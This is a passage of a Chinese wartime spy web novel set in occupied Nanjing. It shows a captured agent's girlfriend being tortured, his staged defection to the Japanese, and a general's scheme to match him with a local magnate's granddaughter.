渡边看到林赤的神情,忽然莫名地生起气来,抓住头发的手猛然一用力,曲思秋一大片的黑发被她生生拽下,伴随着曲思秋一声惨叫,渡边恨意未消道:“这才仅仅是个开始!” 林赤急的双目喷火,可又无计可施。 渡边愈发生气,啧啧道:“女友受苦看把你急的,你的心是不是在滴血?” “我不是他的女友!不要用我来要挟他!”曲思秋忍着痛楚连忙辩白道。 “你说了不算,我要这位林先生亲口告诉我!”渡边把目光投向了林赤。 “她是我的女友!”林赤急切道,“你们放过她吧!” 林赤显得有气无力。 渡边并未作罢,对一旁的大声李泉喊道:“李桑鞭子拿来,帮我个忙,把她往死里打!” 李泉稍作犹豫,还是取来了皮鞭。 “我扯住她的头发,你给我抽她!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第173章 心在滴血 李泉稍作犹豫,还是取来了皮鞭。 “李桑,还婆婆妈妈干嘛,快动手啊!”渡边扯住曲思秋的头发,不停地催促李泉。 李泉怯怯地看了林赤一眼,提着皮鞭走向曲思秋。 曲思秋毅然闭上了眼睛,闭上眼睛的曲思秋不忘对林赤交待了一句:“林大哥,你也把眼睛闭上,就当我已经死了……”话尚未说完,李泉的鞭子裹挟着风声抽在曲思秋的脸上。 曲思秋忍不住尖叫一声。 林赤痛苦地闭上眼睛,这一鞭仿佛不是抽在曲思秋身上,而是抽在林赤的心上,随着曲思秋一声尖叫,林赤浑身不由得颤抖了一下。 两颗略显浑浊的泪珠从林赤的眼角滑落。 他的耳畔鞭声呼啸,每一鞭都让他哆嗦。 曲思秋的尖叫声越来越微弱,直到她精疲力竭。 也不知过了多久,空气中忽然了无声息。林赤试着睁开双眼,可发现眼前一片迷蒙,怎么也无法看清曲思秋的模样。林赤再次努力,使劲眨着眼睛,终于看到曲思秋迷糊的轮廓,她的身体是静止的,人也看不出动静,脑袋歪斜着靠在一侧。 林赤抬起手臂,用衣袖擦掉蒙在眼睛上的雾气。 她奄奄一息,头发湿漉漉地贴在脸上,脸上血肉模糊,淋漓的血水顺着发际和脸颊倾泻而下。 李泉忙不迭声对渡边道:“她昏过去了。”说完如释重负般立即扔掉手中的鞭子。 渡边这才松开曲思秋的头发,侧过脑袋打量了一眼面目全非的曲思秋,并不善罢甘休,转身匆匆走向刑讯区的物料陈放处,似乎在找寻着什么。 很快,她手里握着一根铁针,兴冲冲而至。 渡边一把抓住曲思秋的右手,用力控制住她的中指,将铁针毫不迟疑地从她的指甲盖下面扎了下去…… 又是一声凄厉的尖叫,伴随着这声尖叫,曲思秋浑身剧烈颤栗着,她的脑袋猛然抬了起来…… 随着脑袋的巨幅晃荡,她头发上的血水四处纷飞。 就短短的这片刻之间,她的眼睛已布满血丝。 林赤心如刀绞,再也无法自已,用尽毕生的气力狂吼一声。 “够了!我说!!” 这句话一经林赤之口道出,他已是泪流满面。他再也抑制不住,极力抬起戴着手铐的双手,掩面而哭。 心在滴血,无人能够体会他此时内心的苍凉与自责。 或许,他本不该坚持如此之久,他完全可以在鬼子对他倒吊并切开他的血管的时候妥协,那样的时机,已经是十分恰当,曲思秋也完全可以不用受到这般非人的折磨,至于曲思秋怎样逃过这一劫,他可以再另想办法,然而,他并没有这么做,而是选择继续抗争,他这是怎么啦,难道只是为了证明自己的不同凡响?证明自己超乎常人的毅力?或是想证明骨子里对鬼子的不屑和藐视? 或许,他本该想到阴险毒辣的渡边会拿曲思秋开刀,依他的缜密思维,这是一种最小儿科的推断,然而,他竟然忽略了这一点,或者说,他已经想到,但未引起足够的重视,亦或说,他已经料到了这一点,但还是心存侥幸?更或者说,他也预见到严酷的后果,而他已麻木不仁?更亦或说,这一切的发生,是他过分追求计划的完美? 或许,他本不应该制定这样一项近乎荒诞的计划,如果他不彪炳自己的卓尔不凡,而是安于现状,他还是能够很惬意地活在这座城市里,也是完全可以和鬼子展开生龙活虎的暗斗,并和恋人花前月下、卿卿我我,享受着妙曼的人生……那也不失为人生的另一番风景。 林赤把曲思秋所受的苦,全部归咎为自己的过失,归咎为自己的自负。 他无地自容、羞愧难当、内心惶恐,恍惚中,他蓦地觉得自己已是一具没有灵魂的躯壳。 房间里寂静得没有一丝声响。 所有人都在看着他,期望他接下来说点什么。 就在这时,松机关的机关长黑木将军忽然击掌叫好起来。 他本是一名看客,在这之前,一直看得津津有味。 那一刻,他一下子觉得该是他粉墨登场的时候了。 “好!好!”黑木一边鼓掌一边喝彩,“中国有句古话,识时务者为俊杰,林先生能够弃暗投明,我真心佩服!” 说话间,黑木已踱步林赤身前,看到他脸上涕泪交加,连忙掏出手帕塞到林赤的手心中,无限感慨说道:“你如果早点这么做,你和你的女友都不必要受这些个苦的!” 黑木说完,信步来到曲思秋身旁,先是用嘉许的目光和渡边进行了短暂的交流,然后拍了拍曲思秋的肩,十分悲悯地说道:“曲小姐,让你受苦了,你千万不要怪渡边小姐,她也是不得已而为之!” 曲思秋一耸肩,把黑木的手拂掉,高声喝道:“你别碰我!” 黑木的眉间浮现一丝不悦,但很快用春风般的笑容取代,语重心长说道:“曲小姐,看来你还是在记恨我们……这一点你不如你的男友豁达,你看看他,关键时候还是想着你的,要不然他也不会这么快转变!” 本小章还未完,请点击下一页继续阅读后面精彩内容!“他不是我男友!我没有他这个男友!”曲思秋突然歇斯底里喊道。 黑木马上现出十分惋惜的样子,“看来,曲小姐并不打算效仿林先生喽?” 曲思秋冷笑两声,抬起手臂,用衣袖擦掉脸上的血水,对林赤投来冰冷的目光,“林哥……我最后再叫你一声哥,你一直是我最钦佩的男人,你的坚强是我信念的来源,这辈子能够遇到你,我相信是一种缘分,我也相信你刚才的那一番话,是出于对我的保护,我心底感激你,但一码归一码,希望你不要半途而废,也不要屈服于鬼子对我肉体的折磨,这些已不算什么了,本来我确实是很害怕,但此时的曲思秋,已经成了一名战士,一名坚强的共产主义战士,随时可以直面死亡……” 林赤的心陷入了深深地绝望,他最担心的事发生了。很明显,曲思秋开始扞卫她的信仰,这是林赤认为最坏的结果,如若如此,曲思秋将会很快失控,而曲思秋一旦失控,则对他的“卧龙计划”将是一个最严峻的考验! “思秋……” 曲思秋对他的话充耳不闻,继续说道:“我压根没有想到,我的被捕还成了鬼子要挟你的工具,我深知你是一个用情很专的男人,但……”曲思秋凄凉一笑:“你看看我现在的模样,我已不奢望能够拥有你了,也更不奢望我们会有一个所谓的好归宿!我的脸上已没有一处完整的皮肤,你也知道,这对于一个爱美的女人来说,无异于要了她的性命!所以,我现在需要你做的,就是把我从你的记忆中抹去!就当我……就当我已死去!” 诚如曲思秋所说,鞭笞已在她的脸上留下了一道道印记,很难找到完整的皮肤。 她的右手中指,还在一直滴血。 “思秋……” “林赤,就算我求你了,你把我忘了吧,那些所谓的海誓山盟,就当是你我的梦呓!”曲思秋已开始直呼林赤的名字,不再喊他林哥。 林赤的心开始滴血。 他明白这个外表看起来柔弱的女人,已横下决心! 可这样的决心,需要多大的勇气? 很难想象,这个决心是这样一位花样年华的少女所下! “思秋……”林赤的声音开始颤抖。 “再说……”曲思秋毅然说道:“陶楚歌确实比我更适合你,她天真无邪,又不涉足政治,是一个非常单纯的女孩,况且她家世显赫,和你在一起是……最般配的了!” “思秋,求求你先听我说!”林赤终于忍无可忍,高声叫道。 曲思秋先是一愣,不自觉地缄口,林赤的话的确对她有所震慑,但也就那么一会儿工夫,她又恢复了刚才的神态,似乎显得不耐烦,怎么也不愿听林赤陈述,一副油盐不进的样子。 林赤又沮丧又难过,“思秋,求求你别乱想了,在我眼里,你的安全是第一位的,其它的都不足道……”林赤使劲咽了口唾液,补充道:“我警告你,别忘了我们曾经的誓言!……在我眼里,你就是我的全部,什么陶楚歌、李楚歌,我林赤统统不在乎!” 听到这儿,曲思秋的眼里放出异样的光彩,但就在电光火石间,又黯淡了下去。 “思秋,求求你别固执了,我们是斗不过日本人的……” 黑木饶有兴趣听到这儿,方插话道:“就是嘛,这位林先生讲得很好,你就是一根筋!” 曲思秋平复的心情马上激动起来,一字一顿呵斥道:“见鬼去吧,你们别做梦了,从我曲思秋这儿,你们听不到一句想要的!” 渡边一直沉浸在曲思秋言语的情境中,这句话立即把她拉回现实,林赤的转变让她在一开始莫名地欣喜若狂,这种愉悦是发自她的心底,且不掺杂一丝杂质,至于为何如此高兴,她不愿深想,但潜意识里已视林赤为同一阵线,可林赤苦口婆心对曲思秋说服了这么长时间,对方竟然无动于衷,她已是愤愤不平,况且还对她的直接上司恶语相向,这就让她很是生气,近水楼台先得月,渡边本来就站在曲思秋的身后,她的呵斥刚刚脱口而出,渡边便不再犹豫,又伸手一把拽住了曲思秋的头发,欲再次发难。 就在渡边刚想用力之际,林赤倏然斩钉截铁喝道:“渡边,你给我住手!” 这句话语调不高,却有凛然不可侵犯的味道。 渡边的手居然停住了。 黑木及时地拂开渡边的手,耸耸肩打趣道:“渡边小姐,且听林先生怎么说。” 渡边悻悻地一甩手,极不情愿地垂手站立。 “如果你们想从我嘴里得到有用的情报,我希望从现在起,你们不要再打扰她!”林赤的话冷若冰霜。 “还有,我现在还希望你们马上做一件事,那就是立即把曲思秋送到南京城最好的医院治疗!” 黑木面无表情。 渡边“扑哧”一声笑了。 渡边的脸上露出了嘲笑之态。 林赤先是若无其事笑笑,神色很快庄重起来,头转向黑木,口气也凝重起来:“黑木将军,我实话告诉你,我叫林赤,原名林昂,代号新年,我是军统南京站的副站长,兼职行动处处长,我掌握着军统南京站的核心机密……” 这章没有结束,请点击下一页继续阅读!黑木瞪大了眼睛。 林赤的话再无下文。黑木却意犹未尽。 就在这时,曲思秋的声音震耳发聩:“林赤,你给我听好了,我根本不会领情,相反,我会更恨你,你不能背叛你的国家,不能干有辱林家祖宗的事……你忘了你父母是怎么死的了……” “够了,你给我闭嘴!”林赤断然打断了她的话,很快声音又轻柔起来:“思秋,你要冷静,不要意气用事!” 曲思秋的眼里似乎要喷出火来。 林赤不再看她,把目光转向黑木。 “你快说,你还知道什么?”黑木急切道。 林赤的嘴角露出诡异的笑容,三缄其口。 黑木忽然明白什么,扭头命令老虎桥监狱的典狱长武内次郎道:“武内君,你即刻派人派车将这位曲犯……曲医生送到军部医院,请最好的医生给她治疗!” 武内领命,着手安排此事。 “我不需要治疗!”曲思秋又喊叫起来。 林赤皱了皱眉,显得极不耐烦,对黑木道:“将军,麻烦你立即安排人把她送走!”看到武内带着两名狱警,把曲思秋从刑椅上架下,林赤迫不及待补充道:“武内阁下,还烦请您一定安排人保证她的安全,千万不能让她自暴自弃。” 武内先是看了一眼黑木,见黑木点头,便一口应允。 曲思秋马上被狱警抬向门外。 安排好了一切,黑木又回头盯着林赤说道:“林桑,如此安排,你总该满意了吧?” 林赤微微点头,算是作答。 黑木趁热打铁,诱导着林赤道:“你想想,还有什么需要现在和我说的?” 林赤抬起固有手铐的双臂,在黑木的面前亮相了一下,接着缓缓放了下来,环视四周,林赤不紧不慢说道:“将军,您觉得这些秘密在这样公开的场合说出合适吗?” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第174章 华丽转身 此时的黑木心中充满了期望,但同时也伴随着一丝忐忑。不安的情绪来自于林赤或许随时可能反悔,他深知,重庆方面在南京沦陷后启用一位年轻人作为南京区的行动负责人,那么他必定有着过人之处,因而毫无疑问,此人也必定掌握着重大的情报资源,重大到甚至可以重挫整个重庆军统系统,只是这所有的秘密都深埋在对方的肚子里,事情既然推进到了这一步,尽管黑木有着极强的窥私渴望,但自以为睿智的黑木却也明白一个中国古老的道理,那就是心急吃不了热豆腐,要想让林赤像竹筒倒豆子一般说出所有的机密,他需要付出十二分的耐心。 饭要一口一口吃,井要一锹一锹挖。 整个事件中,黑木算看明白一个道理,那就是英雄难过美人关,虽然用在林赤身上并不是很贴切,但归根结底这也是一个“情”字在作祟,如果不是纠缠于这份感情,黑木料定林赤不会这么快180度转身,起码绝不会来得如此轻易,一想起他态度的转变不是来源于帝国的神威,黑木心中多多少少还是涌现出莫名地悲凉,总觉得整个事情总的来说或多或少存有瑕疵。 但不管如何,既然对方亮明态度,黑木料定以他的地位和身份,却也不大可能反悔,退一万步讲,即使此人是个反复无常的小人,这或许是他的权宜之计,那么大不了把曲思秋再重来一次彻头彻底的刑罚,还怕煮熟的鸭子飞了不成? 想到这儿,黑木已打定主意,一是曲思秋一定不能有任何闪失,万一她出现意外,就意味着失去了掣肘林赤的砝码,所以千万不能由着渡边的性子胡来!渡边小姐不知何故今天一反常态,和那位仅仅数面之缘的曲思秋姑娘好像有不共戴天之仇,下手如此之狠出乎了所有人的意料,恨不得除去而后快! 还有一点,在对待林赤这件事上,还是不能表现得太过急切,欲速则不达,这样反而滋长了对方的傲气。 想清楚了这些,黑木顿时显得气定神闲,胸怀也跟着广袤起来,对典狱长武内呵呵道:“武内君,让人把林先生的手铐和脚链统统卸掉。” 除掉桎梏的林赤一身轻松,对黑木提出了他的第二个要求。 “将军,我饿了,我想吃点东西。” 黑木大度地笑道:“大鱼大肉管够,要不要给你来壶酒?” 林赤咽了口口水,“那感情好!” “你这么一说,我倒也觉得饿了,要不我陪林先生喝一杯?” 离开了有如梦魇般的第一审讯室,林赤尾随着黑木等人来到监狱的饭堂,在一间简洁的房间里,有人很快送来了饭菜,黑木亲自给林赤斟了一杯酒,随后也给自己满上一杯。 黑木刚把酒杯端起,欠身欲和林赤碰杯,武内闪进屋内,在黑木耳边耳语一番。 黑木听后眼珠转了转,高声道:“有请!”说完又把酒杯递了过来,“林先生,从现在起我们的合作正式开始,喝完这杯酒,你的人生将翻开美好的一页,这是一个值得庆贺的时刻,就让我们用中国的烈酒来纪念它!” 林赤的嘴里包了一大块肥肉,油汁从嘴角溢了出来,一直忙着咀嚼,哪里有说话的空,他把酒杯送到嘴边,一仰脖子将杯中酒倒进嘴里,酒确实是陈年烈酒,性猛而刚烈,辣的林赤直摇头,他顾不了那么多,和着酒把嘴里的食物吃力地噎下肚子,不自觉地打了个嗝,他一边用手背抹着嘴角一边骂了声娘。 “妈的,不小心噎着了!”说话间,他又打了个嗝,林赤忙转头对坐在不远处静观的渡边翻了翻眼,显得很羞赧地说道:“渡边小姐,麻烦您给我倒杯水?” 渡边并没有丝毫不悦,起身抓起桌上的水壶给他倒了一杯水。 “喝了这杯酒,是否就意味着林先生同意了我的观点?”黑木进一步试探。 “那是自然,大丈夫一言既出驷马难追!”林赤满不在乎说道,他的手里此时多了一只鸡腿。 黑木稍稍心定。 门外传出一串脚步声,黑木知道他邀请的客人到了,刚转头,门已被武内推开,一个老者模样的人出现在黑木的眼前。 “欢迎陶老先生光临!”黑木连忙站起身,脸上堆满了笑容。 来人正是陶天阙,他的身后是一位妙龄少女。 陶楚歌怯怯地进了房间。 陶天阙虽然早年留学东洋,却对中国的传统礼仪情有独钟,对黑木抱拳作揖道:“将军好!” 黑木伸手握住他的手,亲昵得像是一个久违的故人,嘘寒问暖一番后,他的目光停在陶楚歌的身上。 陶楚歌的目光却停在林赤的身上。 “歌儿,快见过黑木将军!” “将军好!”陶楚歌收回目光,低头和黑木打了个招呼,很快目光又落在了林赤身上。 这一切,林赤视而不见,埋头自顾自大快朵颐。 陶天阙已经注意到了林赤,这样的场合这样的情景已让他倍感诧异,心中尽管疑窦重重,但也只能深藏心底。 这章没有结束,请点击下一页继续阅读!“不知将军唤老朽前来有何贵干?” “陶老真是贵人多忘事,我不是曾经答应过您,您和您的孙女可以前来监狱探望林先生嘛?” 陶天阙看了林赤一眼,欲言又止。 黑木总以为林赤心中羞愧,不敢面对陶天阙的到访,于是主动推了一下林赤,道:“林先生,看来你真是太饿了,还不快见过陶老先生!” 林赤这才放下筷子,毕恭毕敬站了起来对陶天阙鞠了一躬。“陶会长别来无恙!” “林先生可好?”陶天阙顺着他的话回应道。 陶楚歌生怕林赤没见到她,赶紧主动问好。“林大哥……” 林赤看了她一眼,淡淡道:“陶小姐好!” 陶楚歌这才发现林赤敞开的棉衣里面,衬衣上不但血迹斑斑,而且残破不堪。她的脸上马上现出关切神情,不由得向前跨出几步,急切问道:“伤不碍事吧?” 林赤只字未吐,一面扣上棉衣的纽扣,一面缓缓坐下。 林赤对陶天阙祖孙忽然显现出来的生硬态度让陶天阙极不自然起来。作为南京城的名门望族和显赫翘楚,陶天阙一路走来,尽管谈不上万人景仰,但还鲜有人当面如此对他,况且还是有恩与他的林赤,陶天阙一时想不清其中细节,心中涌上少许愠怒,但他是何许人也,他乃南京赤盟会会长,拥有会众万千,浸淫江湖多年,也仅仅只是把这种情绪埋藏在心底,脸上波澜不惊,便再也没有看林赤一眼,和黑木拉开了热聊的架势。 “听说贵军最近连连大捷,不知消息是否属实?” 黑木从林赤身上收回责怪的目光,拉陶天阙坐下。这是一个他很感兴趣的话题,他面露得色回应道:“我帝国勇士威武神勇,一路势如破竹,已逼近武汉,看来你们的蒋总统不日之后,又得从武汉仓皇出逃喽……哈哈哈哈……” 陶天阙无意之间,找了一个自讨没趣的话题,欲极力挽回不利于己的局面,辩道:“即将到来的武汉会战在我看来胜负难料,国军陈兵百万,恐怕你们也不会占多大便宜……” “不然,不然也!” 黑木不无得意说道,“自去年七月圣战全面爆发以来,我帝国军队战无不胜攻无不克……” 陶天阙也毫不客气地打断了黑木,“据我所知事实不尽如此,台儿庄一战,你们的军队就遭到了致命性的重击……” “那是你们政府报纸和电台惯用的宣传伎俩,完全是一派胡言!” “我以为贵国的媒体也是如此吧,战争时期,媒体毫无疑问首要职责乃是服务于军事!” 然而陶天阙的孙女陶楚歌却无心听他们掰扯,也未理会林赤对她漠视的态度,主动凑近他,在他耳边轻声道:“他们打你了?” 林赤认真地啃着鸡腿,头也没抬。 他的双手不但沾满汤汁,还能看出手背上遍布的污秽,很显然,他从审讯室出来后,连手都没洗,就投入了大吃特吃的战斗。 或许他的确饿坏了。 一个鸡腿下肚后,林赤想起该喝酒了,当他抬手去拿不远处的酒壶时,同时也发现了手上奇脏无比,于是毫不犹豫地把双手在身上擦擦,再次探身时,不小心触动了身上的伤口,眉头不由得皱了皱,略作思考对渡边大大咧咧呼道:“渡边小姐,再麻烦你给我倒杯酒!” 渡边笑盈盈地站起,但事实上酒壶离陶楚歌最近,她眼疾手快,就在渡边的手刚碰到酒壶时,陶楚歌已拎起酒壶,小心地替林赤斟了满满一杯酒。 渡边的手扑了个空,冷冷地看了陶楚歌一眼。 陶楚歌期盼林赤端起她倒的那杯酒,可是他并没有伸手,陶楚歌有些等不及,忙不迭声提醒道:“林大哥,酒倒好了,你喝呀。” 陶楚歌的声音一下子传入黑木的耳里,这才让他幡然想起此次请他们前来的目的,可是和陶天阙的辩论胜负未分,电光火石间,就想起了林赤的华丽转身,心想就冲着一点,便也可以对陶天阙致命一击,心念及此,黑木友好地把手搁在陶天阙肩上,微微一用力,将他牵引到林赤身旁,笑道:“陶老,有件事忘了告诉您,林先生现在已归顺皇军,他已经成为帝国的好朋友了!” 陶天阙一愣,转而想明白了一切,沉吟道:“这是林先生的造化,更是贵国的造化,老朽不问政治,更不关心政治,他的立场与我又有何干?” “此言大谬!”黑木眼睛一转,话锋一转又道:“难道陶老忘了,这位林先生可是您唯一孙女的男友啊!不久后的将来,他将会成为您的孙女婿,并会很好地继承您的事业!” “这样的孙女婿,我陶某可高攀不起!” 林赤不想再沉默,也冷冷地说道:“高攀不起的,恐怕是我林赤吧……” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第175章 主动放弃筹码 黑木总算是看明白了,在林赤归顺皇军这件事上,陶天阙的热情并不高涨,否则他对林赤的态度也不会表现出阴阳怪气,看来,陶天阙和皇军并不是一条心,这一点,已毋庸置疑。 黑木的脑海很快浮现出和陶天阙相识后交往过程中的所有细节,但凡是涉及到帝国利益的一切事项,他不是借故推辞,就是阳奉阴违,从未干净利落应允过,就拿合作开采锰矿一事来说,他明明可以获利颇丰,但因为牵扯到帝国利益,他一再彷徨,竟然难以决断,至今未给自己一个明确答复。反之,如果某一件事和帝国无关,又可攫取足够的利润,他则表现出空前的热忱,成立黄包车行就是一个很好的例证。 想着想着,黑木不禁恼怒起来。 他不能因为对方有某些虚无缥缈的军方高层背景,就投鼠忌器,是到了必须杀杀他的威风的时候了! 他必须想尽一切办法,把陶天阙置身局中,不能让此人总是作壁上观。 既然他的孙女主动承认有爱慕林赤之意,那么眼前这件事就是最好的时机,她要飞蛾扑火,他黑木又岂能不成人之美? 思忖清楚了个中利害关系,黑木心中已有计较。 黑木把手搭在林赤的肩上,稍稍用力,把林赤按坐下来。 “林先生真是年轻气盛,但大可不必如此激动,你和陶老会长都是皇军的好朋友,何来高攀之说?依我看呀,你和陶小姐倒是极般配的一对,你有才她有貌,年龄又仿佛,如果双方再情投意合,我看即便是……咳咳……便是天皇也干涉不了!再说陶老也是个明白人,早年便得到西洋文化的教化,而西洋文化的核心之一就是崇尚婚姻和恋爱自由,这个道理,他岂能不懂?” 话刚说完,黑木不待林赤反应,立即把身子转向陶天阙,脸上仅存的一丝笑容也逐渐消失。 “我有一事不解,还望陶老赐教。” “将军请说。”陶天阙语气略有停顿。 “在我看来,陶老对这位林先生青睐有加,据我的情报,阁下和这位林先生的第一次见面也只是限于那天皇军在安全区对林先生的例行盘问,然而正是那一次谋面,您就对他充满了好感,不但收留了他,还给了他一份工作和住所,并委派他前往上海采购照相馆的器材,这样一位委以大用的人才,即便后来暴露了身份,被我们的特工抓捕后,您对他也没有半个怨字,还极力为他开脱,可为何当阁下得知他归顺皇军后,前后态度就判若两人?难道您对皇军的朋友打心底反感?”黑木的目光忽然间凌厉起来。 陶天阙心中一惊,知道自己一时间情由心生,没有藏住自己的喜恶,让狡猾的黑木起了疑心。辩解会越描越黑,当务之急不能顺着黑木的思路,被他牵着鼻子走,必须跳出他设计的圈套。 “我只是不太赞同这位林先生成为我孙女的男友。” “是因为林先生背叛了他的国家?您不屑和这样的人同流?” “不!……林先生弃暗投明我打心底替他高兴……” “那又是什么导致您不看好他们的这份恋情?您别忘了,您的孙女亲口承认过是他的女友,并还为此求过我对林先生网开一面!” “这只是孩子间所谓的情谊罢了,歌儿尚还年幼……我是觉得他们年龄差距太大……” “哈哈!”黑木放肆地笑了起来,转头把陶楚歌上下打量一遍,问道:“陶小姐,你今年芳龄几何?” 陶楚歌面露怯意,无助地看了爷爷一眼。 陶天阙目光平静,并没有特别之处。 “难道陶小姐的年龄是个秘密,不想在大家面前说?” 陶楚歌紧咬着下嘴唇,似乎正在思忖该如何回答,俄顷间脸上突然现出一副无所谓的神情,“我的年龄怎么会是秘密?我告诉你便是了……我今年十八岁……不,过年后就十九岁了!” 黑木满意地点头,又端详了林赤一眼,再次盯着陶天阙道:“在我看来,林先生的年龄不会超过二十五岁,他们之间最多相差六岁,六岁,陶老觉得差距很大吗?”黑木咄咄逼人,“据我所知,阁下您留学东洋回来,第二年便结了婚,您的夫人就是一个比您足足小了七岁的金陵女中的一个刚毕业的女学生……” 陶天阙嘴角动了动,半天没有说话。显然,黑木不愧是一个搞情报的老手,自己的一切他似乎都了如指掌。 “所以,陶老您不用再找借口了,看来您是开始嫌弃林先生新的身份了……” 林赤背对着他们,他们的谈话他尽收耳里。 此时的局面正是他想要的,陶天阙的率性表现正好可以给他的诈降增添一些伪装,让他的“华丽转身”有了一个很好的过渡,不会因此显得突兀。尽管因为曲思秋的突然到来,他的归顺有了更好地承接,但总还是缺少一定的火候,而陶天阙对自己流露出的厌恶却自然而不露痕迹。 当然,林赤也知道,如果陶天阙一味纠缠于自己新的身份而耿耿于怀,则很可能会因此和日本人对立起来,如若如此,也是不利于陶天阙的自我保护。 本小章还未完,请点击下一页继续阅读后面精彩内容!想到这儿,林赤觉得自己必须尽快说点什么,把陶天阙从这个无聊的话题中解救出来。陶楚歌是个不谙世事的单纯少女,她根本无法左右这样的谈话。 “将军!”林赤提高声音道。 黑木连忙把目光投向林赤。 “林先生有话要说?” “有一点陶老和陶小姐都很清楚,那就是我已有女友,她就是曲思秋!” “曲思秋?那个共党顽固分子?林先生觉得您和她还有未来?!”黑木嘲弄地笑道。 “不管如何,目前我无法接受其它的情感。” 黑木的表情开始严肃起来,语气也更加严厉:“林先生,既然你有归顺皇军的意愿,我劝你好自为之,必须尽快忘掉那个人,否则我会怀疑你的诚意!我们的合作还没有开始,你如果还纠缠不清,不得不让我质疑你的用心!” “将军,我也提醒您,我的归顺到目前为止,还不是心甘情愿的,我之所以同意说出我的秘密,是有我的前提,也有我的原则,那就是曲思秋必须不再受到伤害!”林赤毫不客气回敬道。 “林先生,你太天真了,你以为你还有和我们讨价还价的筹码?我可以告诉你我的底线,如果曲思秋继续顽固不化,那么等待她的唯一结果,那就是必须得到帝国应有的制裁!帝国对待朋友和敌人向来是泾渭分明!惩恶扬善也是我等孜孜追求的真理!”黑木话锋一转,“除非你有办法说服曲思秋!” 事情进行到这一步,林赤自认为局面操控还算完美,一切也是按照正常的逻辑在演绎,是的,他的归顺在那一刻必须是建立在曲思秋的安危基础之上,可是,他并不能陷于其中,一旦依照此逻辑无休无止恶性循环下去,他是得不到日本人的信任,顺利打入敌人的核心更是一纸空谈,可是接下来自己的反应又必须平滑而合情合理,不能让老到的黑木看出疑点。 “将军也太自以为是了,如果换不来曲思秋的无恙,我投靠你们又有何意义?” 黑木目露凶光,一字一顿道:“林先生这是宁为玉碎不为瓦全?” “不,我希望两全其美!” “林先生有保全的好办法?” “如果黑木将军给我和曲思秋见面的机会,我有办法说服她!” “好好!”黑木连说两声好,“我会给你们见面的机会,到时我需要看看你如何说服她!” “请将军拭目以待!” 刚刚这番谈话,不但陶天阙听明白了个中缘由,连陶楚歌也知道了日本人是用曲思秋来要挟了她的林大哥,才让他的态度出现了转变,想起眼前的男人为了自己的爱人甘愿抛弃信仰,陶楚歌内心一阵激荡,竟然又莫名地疼痛起来,愈加羡慕起曲思秋,心想思秋姐真有福气,能够得到这样的男人为之付出一切,那是多大的幸福啊!如果是自己,死了都值得,心中多么希望自己就是曲思秋,再次联想到林赤对自己的冷漠态度,不禁黯然神伤起来。 陶天阙当时已被黑木的对话逼上了绝境,林赤的话意外解救了自己的窘境,加上他也看到了林赤身上的累累伤痕,已然明白林赤的转变一定有苦衷,他和黑木的对白后,他马上听出他是为了救曲医生才不得已而为之,立即对他重新恢复了好感,于是插话道:“林先生如果能够说服曲小姐一起为皇军做事,我看这便是天大的好事!” 陶楚歌这时终于忍不住对林赤说道:“林大哥,要不要我帮你一起说服思秋姐?”陶楚歌看到林赤定定地看着自己,忙不迭声补充道:“我和思秋姐共事时间很长,我的话她是听得进去的!” 黑木似笑非笑看着陶楚歌。 林赤心中苦笑,这个女孩天真无邪,对世间的凶险根本不加揣度,完全是率性而为。“如果你思秋姐能够听进去你的话,那就好了……” “要不,你让我试试?”陶楚歌信心满满。 “歌儿,不要胡闹了!”陶天阙终于忍不住呵斥道。 黑木脑海中浮现出这三人共处的情景,或许倒也有趣。此时黑木的心思不仅局限于林赤心中的秘密,还在算计着尽快得到陶天阙的帮助,以便合作开采锰矿。 栖霞山的锰矿开采已被大本营提上了议事日程,并不止一次催促过他。当务之急,必须按照自己的既定思路把他的孙女和林赤扯上关系,一旦目的达成,如果林赤耍心眼,则可以因此制约他,如果林赤真心投靠了帝国,则锦上添花,他也会因此被洪流裹挟。 一个念头在黑木的脑际闪现。 只见黑木端重地对陶天阙缓缓道:“陶老会长,我有一个不情之请,不知阁下能否应允?” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第176章 牵线搭桥 陶天阙知道,这个时候黑木所谓的“不情之请”,对他来说,一定不是什么好事。 尽管陶天阙已经身不由己,但还是表现出十分的坦然,煞有介事答道:“请黑木将军直言!” 黑木笑吟吟道:“我自从踏上中国的这片土地,一直有个想法……不,是有一个愿景,我想当一回月老。” 陶天阙内心怦怦直跳,只得硬着头皮揣着明白装糊涂问道:“不知将军想给谁牵红线?” 黑木尽量把自己的感情变得饱满,脸上露出无限憧憬之色,扭捏道:“自然是您的孙女啊!” 陶天阙脸上显出惊诧,似乎是不敢相信自己的耳朵,瞪大眼睛看着黑木。 陶楚歌对黑木一无所知,一听这话,本能地惊呼道:“不,我不要,我还不想结婚!” 陶天阙赶紧附和道:“是啊,我家歌儿年龄还小,她目前还无法接受这一点……将军,实在不好意思,有负您的美意!” 黑木通过近段时间的观察,已谙熟陶楚歌的心思,自忖十分了解她了,因而陶楚歌话一说完,黑木并没有表现出失望,反而有些亢奋起来,目光温和而友善地和陶楚歌对视了一眼,不慌不忙说道:“难道陶小姐不想知道我给你介绍的对象是谁?” “……谁呀?”陶楚歌的不自觉问了一句。 “你一直仰慕的林大哥呀!” 黑木话刚刚说出,陶楚歌双颊飞红,羞涩地低下脑袋。 林赤霍地站起身来,竟然有些语无伦次,“将军……别拿我开心了!” “林先生怎么如此看我?你看我像是在开玩笑吗?” 紧接着又道:“我是认真的!” “不,将军,我与陶小姐绝无可能!”林赤斩钉截铁道,“我一直把她视为我的妹妹!” 陶楚歌的脑袋埋得更低了。 “是的,我也一直把林先生当成自己的晚辈看待!这孩子父母去世得早,举目无亲,我收留他也就是看他可怜,想给他家的温暖!”陶天阙迫不及待道。 “哦?”黑木表情夸张,但很快轻松起来,“让我们来听听陶小姐怎么说……” 黑木来到陶楚歌身旁,低下头问道:“陶小姐,这件事你怎么看?” 陶楚歌低头不语。 黑木又道:“今天我这位月老当定了,如果你不同意,我会考虑重新给他物色一位。” 陶楚歌抬起头,目光有些游离,嘴唇动了动,似乎有话要说,憋了半天终于鼓足勇气道:“这件事上,我听我爷爷的。” 黑木一脸失望,摇了摇头叹了口气。 